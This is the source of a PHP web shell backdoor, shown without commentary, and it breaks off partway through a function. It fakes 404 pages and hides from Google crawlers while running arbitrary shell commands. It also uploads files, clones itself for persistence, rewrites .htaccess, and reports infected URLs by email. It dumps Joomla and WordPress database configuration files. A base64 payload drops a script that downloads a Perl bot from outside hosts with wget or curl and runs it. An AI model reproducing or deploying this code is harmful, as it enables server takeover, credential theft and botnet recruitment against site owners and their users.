PHP Decode

error_reporting(0);
set_time_limit(0);
class coi
{
    private $access = array('www-data', 'www', 'apache');
    private $type, $os, $user;
    public function __construct()
    {
        $this->user = get_current_user();
        $this->os   = $this->check("os");
        $this->type = $this->check("cmd");
        if (!isset($_GET['x'])) {
            if (isset($_GET['up'])) {
                $this->form();
                echo "<font size=3 color=#FFF5EE>___________________________________________________________________________________________________<br>";
                echo ($this->os == "windows") ? '<pre>' . $this->exe('dir') . '</pre>' : '<pre>' . $this->exe('free -m') . '</pre>';
                echo "<font size=3 color=#FFF5EE>___________________________________________________________________________________________________<br>";
                echo ($this->os == "windows") ? '<pre>' . $this->exe('dir') . '</pre>' : '<pre>' . $this->exe('ls -la') . '</pre>';
            } else {
                header("HTTP/1.0 404 Not Found");
                header("Status: 404 Not Found");
                echo "<h1>Error 404 Not Found</h1>";
                echo "The requested URL was not found on this server.";
                die();
                exit();
            }
        } else {
            if (isset($_GET['x'])) {
                switch ($_GET['y']) {
                    case 'get':
                        if (isset($_GET['file'])) {
                            $file   = urldecode($_GET['file']);
                            $name   = (isset($_GET['name'])) ? $_GET['name'] : "px.php";
                            $code   = file_get_contents($file);
                            $myfile = fopen($name, "w+");
                            fwrite($myfile, $code);
                            fclose($myfile);
                        }
                        break;
                    case 'plbot':
                        $this->plBot();
                        break;
                    case 'clear':
                        $this->delete("px.php");
                        $this->delete("pl.php");
                        break;
                   case 'clearcmds':
                        $this->delete("version.php");
                        $this->delete(".libs.php");
                        $this->delete("myluph.php");
                        $this->delete("options-link.php");
						$this->delete("visa.php");
						$this->delete("about.php");
                        $this->delete("themes.php");
                        $this->delete("404.php");
                        break;

                    case 'read':
                        if (isset($_GET['path'])) {
                            $path = urldecode($_GET['path']);
                            $this->setDB($path);
                        }
                        break;
                    case 'jdb':
                        $this->joomlaDb();
                        break;
                    case 'wpdb':
                        $this->wpDb();
                        break;
                    case 'mail':
                        $mail = (isset($_GET['to'])) ? urldecode($_GET['to']) : "[email protected],[email protected],[email protected]";
                        $host = $_SERVER["HTTP_HOST"];
                        $uri  = $_SERVER["REQUEST_URI"];
                        $serv = gethostbyname($_SERVER['SERVER_ADDR']);
                        $addr = gethostbyname($_SERVER['REMOTE_ADDR']);
                        mail($mail, "Chego mais uma " . $host . $uri, "Url:" . $host . $uri . " 
Ip :$serv
 Ip injector: $addr");
                        break;
                    case 'clone':
                        if (isset($_GET['path'])) {
                            $path = urldecode($_GET['path']);
                            if (strstr($path, ",")) {
                                $data = explode(",", $path);
                                if (is_array($data) && count($data) > 0) {
                                    $data = array_filter($data);
                                    if (count($data) > 0) {
                                        foreach ($data as $k) {
                                            $this->setClone($k);
                                        }
                                    }
                                }
                            } else {
                                $path = urldecode($_GET['path']);
                                $this->setClone($path);
                            }
                        } else {
                            $this->setClone('../.inc.php');
                            $this->setClone('../../.inc.php');
                        }
                        break;
                    case 'patch':
                        $lock  = (isset($_GET['lock'])) ? 1 : 0;
                        $force = (isset($_GET['force'])) ? 1 : 0;
                        $path  = "";
                        if (isset($_GET['path'])) {
                            $path = urldecode($_GET['path']);
                            if (strstr($path, ",")) {
                                $path = explode(",", $path);
                            }
                        }
                        if (isset($_GET['allow'])) {
                            $files = urldecode($_GET['allow']);
                            if (strstr($files, ",")) {
                                $file = explode(",", $files);
                                $this->setPatch($user, $file, $lock, $path, $force);
                            } else {
                                $this->setPatch($user, $files, $lock, $path, $force);
                            }
                        } else {
                            $this->setPatch($user, "", $lock, $path, $force);
                        }
                        break;
                    case 'chmod':
                        if (isset($_GET['dir'])) {
                            $dir = $_GET['dir'];
                            if ($dir == 1) {
                                chmod("./", 0555);
                            } else if ($dir == 2) {
                                chmod("./", 0555);
                                chmod("../", 0555);
                            } else if ($dir == 3) {
                                chmod("./", 0555);
                                chmod("../", 0555);
                                chmod("../../", 0555);
                            } else {
                                $dir = str_replace("|", "/", $dir);
                                chmod($dir, 0555);
                            }
                        }
                        break;
                    case 'die':
                        $source = $_SERVER['SCRIPT_FILENAME'];
                        @unlink($source);
                        break;
                }
            } else {
                if (isset($_GET['del'])) {
                    $del = $_GET['del'];
                    if (strstr($del, ",")) {
                        $data = explode(",", $del);
                        if (is_array($data) && count($data) > 0) {
                            $data = array_filter($data);
                            foreach ($data as $k) {
                                $this->delete($k);
                            }
                        }
                    } else {
                        $this->delete($del);
                    }
                }
                $this->getForm();
            }
        }
    }
    private function plBot()
    {
        $code   = "PD9waHANCmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsNCkBleGVjKCd3Z2V0IGh0dHA6Ly93d3cuZW5kdGltZWZvcmVydW5uZXJzLm9yZy8vaW1hZ2VzLzIwMTQvYm90LnR4dCAtTyBkb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAZXhlYygnY3VybCBodHRwOi8vd3d3LmZpeGlkaW9tYXMuY29tLmJyL0ZpeF9JZGlvbWFzL01lZGlhL2JvdC50eHQgLW8gZG9zLnR4dDtwZXJsIGRvcy50eHQ7cGVybCBkb3MudHh0O3JtIC1mciBkb3MqLnR4dCcpOw0KQGV4ZWMoJ2x3cC1kb3dubG9hZCAtYSBodHRwOi8vd3d3LmVuZHRpbWVmb3JlcnVubmVycy5vcmcvL2ltYWdlcy8yMDE0L2JvdC50eHQgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cGVybCBkb3MudHh0O3JtIC1mciBkb3MqLnR4dCcpOw0KQGV4ZWMoJ2x5bnggLXNvdXJjZSBodHRwOi8vd3d3LmZpeGlkaW9tYXMuY29tLmJyL0ZpeF9JZGlvbWFzL01lZGlhL2JvdC50eHQgPiBkb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAZXhlYygnZmV0Y2ggLW8gZG9zLnR4dCBodHRwOi8vd3d3LmVuZHRpbWVmb3JlcnVubmVycy5vcmcvL2ltYWdlcy8yMDE0L2JvdC50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBleGVjKCdHRVQgaHR0cDovL3d3dy5maXhpZGlvbWFzLmNvbS5ici9GaXhfSWRpb21hcy9NZWRpYS9ib3QudHh0PmRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBleGVjKCdybSAtcmYgZG9zKi50eHQnKTsNCkBleGVjKCdjZCAvdG1wO3dnZXQgaHR0cDovL3d3dy5lbmR0aW1lZm9yZXJ1bm5lcnMub3JnLy9pbWFnZXMvMjAxNC9ib3QudHh0IC1PIGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBleGVjKCdjZCAvdG1wO2N1cmwgaHR0cDovL3d3dy5maXhpZGlvbWFzLmNvbS5ici9GaXhfSWRpb21hcy9NZWRpYS9ib3QudHh0IC1vIGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBleGVjKCdjZCAvdG1wO2x3cC1kb3dubG9hZCAtYSBodHRwOi8vd3d3LmVuZHRpbWVmb3JlcnVubmVycy5vcmcvL2ltYWdlcy8yMDE0L2JvdC50eHQgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cGVybCBkb3MudHh0O3JtIC1mciBkb3MqLnR4dCcpOw0KQGV4ZWMoJ2NkIC90bXA7bHlueCAtc291cmNlIGh0dHA6Ly93d3cuZml4aWRpb21hcy5jb20uYnIvRml4X0lkaW9tYXMvTWVkaWEvYm90LnR4dCA+IGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBleGVjKCdjZCAvdG1wO2ZldGNoIC1vIGRvcy50eHQgaHR0cDovL3d3dy5lbmR0aW1lZm9yZXJ1bm5lcnMub3JnLy9pbWFnZXMvMjAxNC9ib3QudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAZXhlYygnY2QgL3RtcDtHRVQgaHR0cDovL3d3dy5maXhpZGlvbWFzLmNvbS5ici9GaXhfSWRpb21hcy9NZWRpYS9ib3QudHh0PmRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBleGVjKCdybSAtcmYgaW5kZXgucGhwLionKTsNCkBleGVjKCdjZCAvdG1wO3JtIC1yZiBkb3MqLnR4dCcpOw0KQGV4ZWMoJ3JtIC1yZiBkb3MqLnR4dCcpOw0KQGV4ZWMoJ2NkIC90bXA7cm0gLXJmIGRvcyoudHh0KicpOw0KQGV4ZWMoJ3JtIC1yZiBkb3MqLnR4dConKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7DQpAc2hlbGxfZXhlYygnd2dldCBodHRwOi8vd3d3LmVuZHRpbWVmb3JlcnVubmVycy5vcmcvL2ltYWdlcy8yMDE0L2JvdC50eHQgLU8gZG9zLnR4dDtwZXJsIGRvcy50eHQ7cGVybCBkb3MudHh0O3JtIC1mciBkb3MqLnR4dCcpOw0KQHNoZWxsX2V4ZWMoJ2N1cmwgaHR0cDovL3d3dy5maXhpZGlvbWFzLmNvbS5ici9GaXhfSWRpb21hcy9NZWRpYS9ib3QudHh0IC1vIGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBzaGVsbF9leGVjKCdsd3AtZG93bmxvYWQgLWEgaHR0cDovL3d3dy5lbmR0aW1lZm9yZXJ1bm5lcnMub3JnLy9pbWFnZXMvMjAxNC9ib3QudHh0IGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBzaGVsbF9leGVjKCdseW54IC1zb3VyY2UgaHR0cDovL3d3dy5maXhpZGlvbWFzLmNvbS5ici9GaXhfSWRpb21hcy9NZWRpYS9ib3QudHh0ID4gZG9zLnR4dDtwZXJsIGRvcy50eHQ7cGVybCBkb3MudHh0O3JtIC1mciBkb3MqLnR4dCcpOw0KQHNoZWxsX2V4ZWMoJ2ZldGNoIC1vIGRvcy50eHQgaHR0cDovL3d3dy5lbmR0aW1lZm9yZXJ1bm5lcnMub3JnLy9pbWFnZXMvMjAxNC9ib3QudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAc2hlbGxfZXhlYygnR0VUIGh0dHA6Ly93d3cuZml4aWRpb21hcy5jb20uYnIvRml4X0lkaW9tYXMvTWVkaWEvYm90LnR4dD5kb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAc2hlbGxfZXhlYygncm0gLXJmIGRvcyoudHh0Jyk7DQpAc2hlbGxfZXhlYygnY2QgL3RtcDt3Z2V0IGh0dHA6Ly93d3cuZW5kdGltZWZvcmVydW5uZXJzLm9yZy8vaW1hZ2VzLzIwMTQvYm90LnR4dCAtTyBkb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAc2hlbGxfZXhlYygnY2QgL3RtcDtjdXJsIGh0dHA6Ly93d3cuZml4aWRpb21hcy5jb20uYnIvRml4X0lkaW9tYXMvTWVkaWEvYm90LnR4dCAtbyBkb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAc2hlbGxfZXhlYygnY2QgL3RtcDtsd3AtZG93bmxvYWQgLWEgaHR0cDovL3d3dy5lbmR0aW1lZm9yZXJ1bm5lcnMub3JnLy9pbWFnZXMvMjAxNC9ib3QudHh0IGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBzaGVsbF9leGVjKCdjZCAvdG1wO2x5bnggLXNvdXJjZSBodHRwOi8vd3d3LmZpeGlkaW9tYXMuY29tLmJyL0ZpeF9JZGlvbWFzL01lZGlhL2JvdC50eHQgPiBkb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAc2hlbGxfZXhlYygnY2QgL3RtcDtmZXRjaCAtbyBkb3MudHh0IGh0dHA6Ly93d3cuZW5kdGltZWZvcmVydW5uZXJzLm9yZy8vaW1hZ2VzLzIwMTQvYm90LnR4dDtwZXJsIGRvcy50eHQ7cGVybCBkb3MudHh0O3JtIC1mciBkb3MqLnR4dCcpOw0KQHNoZWxsX2V4ZWMoJ2NkIC90bXA7R0VUIGh0dHA6Ly93d3cuZml4aWRpb21hcy5jb20uYnIvRml4X0lkaW9tYXMvTWVkaWEvYm90LnR4dD5kb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAc2hlbGxfZXhlYygnY2QgL3RtcDtybSAtcmYgaW5kZXgucGhwLionKTsNCkBzaGVsbF9leGVjKCdjZCAvdG1wO3JtIC1yZiBkb3MqLnR4dCcpOw0KQHNoZWxsX2V4ZWMoJ3JtIC1yZiBkb3MqLnR4dCcpOw0KQHNoZWxsX2V4ZWMoJ2NkIC90bXA7cm0gLXJmIGRvcyoudHh0KicpOw0KQHNoZWxsX2V4ZWMoJ3JtIC1yZiBkb3MqLnR4dConKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsNCkBzeXN0ZW0oJ3dnZXQgaHR0cDovL3d3dy5lbmR0aW1lZm9yZXJ1bm5lcnMub3JnLy9pbWFnZXMvMjAxNC9ib3QudHh0IC1PIGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBzeXN0ZW0oJ2N1cmwgaHR0cDovL3d3dy5maXhpZGlvbWFzLmNvbS5ici9GaXhfSWRpb21hcy9NZWRpYS9ib3QudHh0IC1vIGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBzeXN0ZW0oJ2x3cC1kb3dubG9hZCAtYSBodHRwOi8vd3d3LmVuZHRpbWVmb3JlcnVubmVycy5vcmcvL2ltYWdlcy8yMDE0L2JvdC50eHQgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cGVybCBkb3MudHh0O3JtIC1mciBkb3MqLnR4dCcpOw0KQHN5c3RlbSgnbHlueCAtc291cmNlIGh0dHA6Ly93d3cuZml4aWRpb21hcy5jb20uYnIvRml4X0lkaW9tYXMvTWVkaWEvYm90LnR4dCA+IGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBzeXN0ZW0oJ2ZldGNoIC1vIGRvcy50eHQgaHR0cDovL3d3dy5lbmR0aW1lZm9yZXJ1bm5lcnMub3JnLy9pbWFnZXMvMjAxNC9ib3QudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAc3lzdGVtKCdHRVQgaHR0cDovL3d3dy5maXhpZGlvbWFzLmNvbS5ici9GaXhfSWRpb21hcy9NZWRpYS9ib3QudHh0PmRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBzeXN0ZW0oJ3JtIC1yZiBkb3MqLnR4dCcpOw0KQHN5c3RlbSgnY2QgL3RtcDt3Z2V0IGh0dHA6Ly93d3cuZW5kdGltZWZvcmVydW5uZXJzLm9yZy8vaW1hZ2VzLzIwMTQvYm90LnR4dCAtTyBkb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAc3lzdGVtKCdjZCAvdG1wO2N1cmwgaHR0cDovL3d3dy5maXhpZGlvbWFzLmNvbS5ici9GaXhfSWRpb21hcy9NZWRpYS9ib3QudHh0IC1vIGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBzeXN0ZW0oJ2NkIC90bXA7bHdwLWRvd25sb2FkIC1hIGh0dHA6Ly93d3cuZW5kdGltZWZvcmVydW5uZXJzLm9yZy8vaW1hZ2VzLzIwMTQvYm90LnR4dCBkb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAc3lzdGVtKCdjZCAvdG1wO2x5bnggLXNvdXJjZSBodHRwOi8vd3d3LmZpeGlkaW9tYXMuY29tLmJyL0ZpeF9JZGlvbWFzL01lZGlhL2JvdC50eHQgPiBkb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAc3lzdGVtKCdjZCAvdG1wO2ZldGNoIC1vIGRvcy50eHQgaHR0cDovL3d3dy5lbmR0aW1lZm9yZXJ1bm5lcnMub3JnLy9pbWFnZXMvMjAxNC9ib3QudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAc3lzdGVtKCdjZCAvdG1wO0dFVCBodHRwOi8vd3d3LmZpeGlkaW9tYXMuY29tLmJyL0ZpeF9JZGlvbWFzL01lZGlhL2JvdC50eHQ+ZG9zLnR4dDtwZXJsIGRvcy50eHQ7cGVybCBkb3MudHh0O3JtIC1mciBkb3MqLnR4dCcpOw0KQHN5c3RlbSgncm0gLXJmIGRvcyoudHh0Jyk7DQpAc3lzdGVtKCdjZCAvdmFyL3RtcDtybSAtcmYgaW5kZXgucGhwLionKTsNCkBzeXN0ZW0oJ2NkIC90bXA7cm0gLXJmIGRvcyoudHh0Jyk7DQpAc3lzdGVtKCdjZCAvdG1wO3JtIC1yZiBkb3MqLnR4dConKTsNCg0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7DQpAcGFzc3RocnUoJ3dnZXQgaHR0cDovL3d3dy5lbmR0aW1lZm9yZXJ1bm5lcnMub3JnLy9pbWFnZXMvMjAxNC9ib3QudHh0IC1PIGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBwYXNzdGhydSgnY3VybCBodHRwOi8vd3d3LmZpeGlkaW9tYXMuY29tLmJyL0ZpeF9JZGlvbWFzL01lZGlhL2JvdC50eHQgLW8gZG9zLnR4dDtwZXJsIGRvcy50eHQ7cGVybCBkb3MudHh0O3JtIC1mciBkb3MqLnR4dCcpOw0KQHBhc3N0aHJ1KCdsd3AtZG93bmxvYWQgLWEgaHR0cDovL3d3dy5lbmR0aW1lZm9yZXJ1bm5lcnMub3JnLy9pbWFnZXMvMjAxNC9ib3QudHh0IGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBwYXNzdGhydSgnbHlueCAtc291cmNlIGh0dHA6Ly93d3cuZml4aWRpb21hcy5jb20uYnIvRml4X0lkaW9tYXMvTWVkaWEvYm90LnR4dCA+IGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBwYXNzdGhydSgnZmV0Y2ggLW8gZG9zLnR4dCBodHRwOi8vd3d3LmVuZHRpbWVmb3JlcnVubmVycy5vcmcvL2ltYWdlcy8yMDE0L2JvdC50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBwYXNzdGhydSgnR0VUIGh0dHA6Ly93d3cuZml4aWRpb21hcy5jb20uYnIvRml4X0lkaW9tYXMvTWVkaWEvYm90LnR4dD5kb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAcGFzc3RocnUoJ3JtIC1yZiBkb3MqLnR4dCcpOw0KQHBhc3N0aHJ1KCdjZCAvdG1wO3dnZXQgaHR0cDovL3d3dy5lbmR0aW1lZm9yZXJ1bm5lcnMub3JnLy9pbWFnZXMvMjAxNC9ib3QudHh0IC1PIGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBwYXNzdGhydSgnY2QgL3RtcDtjdXJsIGh0dHA6Ly93d3cuZml4aWRpb21hcy5jb20uYnIvRml4X0lkaW9tYXMvTWVkaWEvYm90LnR4dCAtbyBkb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAcGFzc3RocnUoJ2NkIC90bXA7bHdwLWRvd25sb2FkIC1hIGh0dHA6Ly93d3cuZW5kdGltZWZvcmVydW5uZXJzLm9yZy8vaW1hZ2VzLzIwMTQvYm90LnR4dCBkb3MudHh0O3BlcmwgZG9zLnR4dDtwZXJsIGRvcy50eHQ7cm0gLWZyIGRvcyoudHh0Jyk7DQpAcGFzc3RocnUoJ2NkIC90bXA7bHlueCAtc291cmNlIGh0dHA6Ly93d3cuZml4aWRpb21hcy5jb20uYnIvRml4X0lkaW9tYXMvTWVkaWEvYm90LnR4dCA+IGRvcy50eHQ7cGVybCBkb3MudHh0O3BlcmwgZG9zLnR4dDtybSAtZnIgZG9zKi50eHQnKTsNCkBwYXNzdGhydSgnY2QgL3RtcDtmZXRjaCAtbyBkb3MudHh0IGh0dHA6Ly93d3cuZW5kdGltZWZvcmVydW5uZXJzLm9yZy8vaW1hZ2VzLzIwMTQvYm90LnR4dDtwZXJsIGRvcy50eHQ7cGVybCBkb3MudHh0O3JtIC1mciBkb3MqLnR4dCcpOw0KQHBhc3N0aHJ1KCdjZCAvdG1wO0dFVCBodHRwOi8vd3d3LmZpeGlkaW9tYXMuY29tLmJyL0ZpeF9JZGlvbWFzL01lZGlhL2JvdC50eHQ+ZG9zLnR4dDtwZXJsIGRvcy50eHQ7cGVybCBkb3MudHh0O3JtIC1mciBkb3MqLnR4dCcpOw0KQHBhc3N0aHJ1KCdybSAtcmYgaW5kZXgucGhwLionKTsNCkBwYXNzdGhydSgncm0gLXJmIGRvcyoudHh0Jyk7DQpAcGFzc3RocnUoJ3JtIC1yZiBkb3MqLnR4dConKTsNCn0NCmVsc2V7fQ0KPz4=";
        $code2  = base64_decode($code);
        $myfile = fopen("pl.php", "w+");
        fwrite($myfile, $code2);
        fclose($myfile);
    }
    private function check($tipe)
    {
        if ($tipe == "cmd") {
            $result = 0;
            if (function_exists('passthru')) {
                $result = "passthru";
            } elseif (function_exists('system')) {
                $result = "system";
            } elseif (function_exists('exec')) {
                $result = "exec";
            } elseif (function_exists('shell_exec')) {
                $result = "shell_exec";
            }
        } else {
            $result = "linux";
            if (PHP_OS == "WINNT") {
                $result = "windows";
            } elseif (PHP_OS == "Linux") {
                $result = "linux";
            } elseif (PHP_OS == "FreeBSD") {
                $result = "freebsd";
            }
        }
        return $result;
    }
    private function getForm()
    {
        $this->form();
        if (isset($_GET['upl'])) {
            echo '<form method="POST" action=""><font size=3 color=#FFF5EE><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="Execute"></form>';
            echo "<form enctype=multipart/form-data action method=POST><b>Upload File</b><br/><input type=hidden name=submit><input type=file name=userfile size=28><br><b>New name: </b><input type=text size=15 name=newname class=ta><input type=submit class=bt value=Upload></form>";
            $this->processForm();
            $this->cmd();
        } else {
            $this->cmd();
        }
    }
    private function form()
    {
        if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'google') !== false) {
            header('HTTP/1.0 404 Not Found');
            echo "<h1>Error 404 Not Found</h1>";
            echo "The page that you have requested could not be found.";
            exit();
        }
        $safe   = @ini_get('safe_mode');
        $secure = (!$safe) ? "SAFE_MODE : OFF" : "SAFE_MODE : ON";
        echo "<body style='background:#8B1A1A;color:#fff;font-family:monospace;font-size:13px;'>";
        echo "<title>Touched By SianTarUniX</title><br>";
        echo "<b>" . $secure . "</b><br>";
        $cur_user = "(" . $this->user . ")";
        echo "<b>User.....  : uid=" . getmyuid() . $cur_user . " gid=" . getmygid() . $cur_user . "</b><br>";
        echo "<b>Uname.... : " . php_uname() . "</b><br/>";
 
    }
    private function processForm()
    {
        if (isset($_POST['submit'])) {
            $uploaddir = $this->pwd();
            if (!$name = $_POST['newname']) {
                $name = $_FILES['userfile']['name'];
            }
            move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
            echo (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) ? "!!Upload Failed" : "Success Upload to " . $uploaddir . $name;
        }
    }
    private function pwd()
    {
        $cwd = getcwd();
        if ($u = strrpos($cwd, '/')) {
            return ($u != strlen($cwd) - 1) ? $cwd . '/' : $cwd;
        } elseif ($u = strrpos($cwd, '\/')) {
            if ($u != strlen($cwd) - 1) {
                return $cwd . '\/';
            } else {
                return $cwd;
            }
        }
    }
    private function cmd($cmd = false)
    {
        if ($cmd) {
            echo '<pre>' . $this->exe($cmd) . '</pre>';
        } else {
            if (isset($_GET['x'])) {
                echo '<pre>' . $this->exe($_GET['y']) . '</pre>';
            } else {
                echo ($this->os == "windows") ? '<pre>' . $this->exe('dir') . '</pre>' : '<pre>' . $this->exe('free -m') . '</pre>';
                echo "<font size=3 color=#FFF5EE>______________________________________________________________________________________________________<br>";
                if(isset($_POST['command'])){
                $cmd = $_POST['cmd'];
                echo "<pre><font size=3 color=#FFF5EE>".shell_exec($cmd)."</font></pre>";
    }
            }
        }
    }
    private function exe($cmd)
    {
        $res = '';
        if ($this->type == "exec") {
            @exec($cmd, $res);
            $res = join("
", $res);
        } elseif ($this->type == "shell_exec") {
            $res = @shell_exec($cmd);
        } elseif ($this->type == "system") {
            @ob_start();
            @system($cmd);
            $res = @ob_get_contents();
            @ob_end_clean();
        } elseif ($this->type == "passthru") {
            @ob_start();
            @passthru($cmd);
            $res = @ob_get_contents();
            @ob_end_clean();
        }
        return $res;
    }
    private function setPatch($user, $data, $lock, $path, $force)
    {
        $create = 1;
        if (!$force) {
            if (in_array($user, $this->access)) {
                $create = 0;
            }
        }
        if ($create) {
            if ($lock) {
                $i = 'deny from all' . PHP_EOL;
            } else {
                $i = '<Files ~ "(?i)\.(zip|rar|php|php.*|phtml|gif|png|phpgif|asp|asp.*)$">' . PHP_EOL;
                $i .= 'deny from all' . PHP_EOL;
                $i .= '</Files>' . PHP_EOL;
            }
            if (is_array($data)) {
                foreach ($data as $k) {
                    $i .= '<Files "' . $k . '">' . PHP_EOL;
                    $i .= 'Order Allow,Deny' . PHP_EOL;
                    $i .= 'Allow from all' . PHP_EOL;
                    $i .= '</Files>' . PHP_EOL;
                }
            } else {
                if (!empty($data)) {
                    $i .= '<Files "' . $data . '">' . PHP_EOL;
                    $i .= 'Order Allow,Deny' . PHP_EOL;
                    $i .= 'Allow from all' . PHP_EOL;
                    $i .= '</Files>' . PHP_EOL;
                } else {
                    $i .= '<Files "string.php">' . PHP_EOL;
                    $i .= 'Order Allow,Deny' . PHP_EOL;
                    $i .= 'Allow from all' . PHP_EOL;
                    $i .= '</Files>' . PHP_EOL;
					$i .= '<Files "1x.php">' . PHP_EOL;
                    $i .= 'Order Allow,Deny' . PHP_EOL;
                    $i .= 'Allow from all' . PHP_EOL;
                    $i .= '</Files>' . PHP_EOL;
					$i .= '<Files "pl.php">' . PHP_EOL;
                    $i .= '<Files "wpa.php">' . PHP_EOL;
                    $i .= 'Order Allow,Deny' . PHP_EOL;
                    $i .= 'Allow from all' . PHP_EOL;
                    $i .= '</Files>' . PHP_EOL;
                }
            }
            if (is_array($path)) {
                foreach ($path as $k) {
                    $file = fopen($k, "w");
                    fwrite($file, $i);
                    fclose($file);
                }
            } else {
                if (!empty($path)) {
                    $file = fopen($path, "w");
                    fwrite($file, $i);
                    fclose($file);
                } else {
                    $file = fopen(".htaccess", "w");
                    fwrite($file, $i);
                    fclose($file);
                }
            }
        }
    }
    private function setDB($file)
    {
        $read = file_get_contents($file);
        if ($read) {
            echo $read;
        } else {
            echo "Unable to open file";
        }
        exit;
    }
    private function setClone($path)
    {
        if (file_exists($path)) {
            @unlink($path);
        }
        $source = $_SERVER['SCRIPT_FILENAME'];
        copy($source, $path);
    }
    private function joomlaDb()
    {
        $p1 = "../../../../../../../";
        $p2 = "../../../../../../";
        $p3 = "../../../../../";
        $p4 = "../../../../";
        $p5 = "../../../";
        $p6 = "../../";
        $p7 = "../";
        $j  = file_get_contents($p1 . "configuration.php");
        if (!$j) {
            $j = file_get_contents($p2 . "configuration.php");
            if (!$j) {
                $j = file_get_contents($p3 . "configuration.php");
                if (!$j) {
                    $j = file_get_contents($p4 . "configuration.php");
                    if (!$j) {
                        $j = file_get_contents($p5 . "configuration.php");
                        if (!$j) {
                            $j = file_get_contents($p6 . "configuration.php");
                            if (!$j) {
                                $j = file_get_contents($p7 . "configuration.php");
                                if (!$j) {
                                    $j = file_get_contents("configuration.php");
                                }
                            }
                        }
                    }
                }
            }
        }
        echo $j;
        exit;
    }
    private function wpDb()
    {
        $p1 = "../../../../../../../";
